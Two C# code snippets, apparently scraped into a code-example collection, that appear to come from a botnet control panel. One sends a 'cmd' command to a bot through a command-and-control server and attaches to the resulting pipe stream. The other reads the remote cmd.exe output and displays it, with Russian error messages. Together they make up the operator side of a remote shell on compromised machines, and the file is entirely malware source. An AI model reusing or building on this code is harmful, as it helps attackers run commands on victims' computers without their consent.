示例#1
0
 public void Execute()
 {
     byte[] buf = new byte[1024];
     try
     {
         while (true)
         {
             int count = Server.ReadDataStream(sc, ref buf, 2000);
             if (count == 0)
             {
                 break;
             }
             if (count > 0)
             {
                 if (count <= 0)
                 {
                     break;
                 }
                 string s = Encoding.GetEncoding(866).GetString(buf, 0, count);
                 control.Invoke(control.funcPrintOutput, new object[] { s });
             }
         }
         sc.Close();
     }
     catch (Exception)
     {
     }
     try
     {
         control.Invoke(control.funcSetError, new object[] { "Связь с cmd.exe потеряна, работа окончена" });
     }
     catch
     {
     }
 }
示例#2
0
            public void Execute()
            {
                string err      = string.Empty;
                Socket sc       = null;
                string namePipe = string.Empty;
                uint   idStream = 0;

                while (true)
                {
                    string cmd = "cmd";
                    if (control.user)
                    {
                        cmd += " user";
                    }
                    if (!bot.server.CM_SendCmd(bot.id, bot.uid, cmd))
                    {
                        err = "Не удалось отослать команду на включение cmd.exe";
                        break;
                    }
                    Server.StreamPipeInfo[] pipes = null;
                    for (int i = 0; i < 10; i++)
                    {
                        Thread.Sleep(1000);
                        pipes = bot.server.CM_GetPipeStreams(bot.id, bot.uid, "cmd");
                        if (pipes != null && pipes.Length > 0)
                        {
                            break;
                        }
                    }
                    if (pipes == null)
                    {
                        err = "На сервере не появился канал передачи данных от cmd.exe";
                        break;
                    }
                    namePipe = pipes[pipes.Length - 1].namePipe;
                    idStream = pipes[pipes.Length - 1].id;
                    sc       = bot.server.CM_GetStream(bot.id, bot.uid, idStream);
                    if (sc == null)
                    {
                        err = "Не удалось подключиться к каналу передачи данных от cmd.exe";
                        break;
                    }
                    break;
                }
                if (err.Length > 0)
                {
                    control.Invoke(control.funcSetError, new object[] { err });
                }
                else
                {
                    control.Invoke(control.funcInited, new object[] { namePipe, idStream, sc });
                }
            }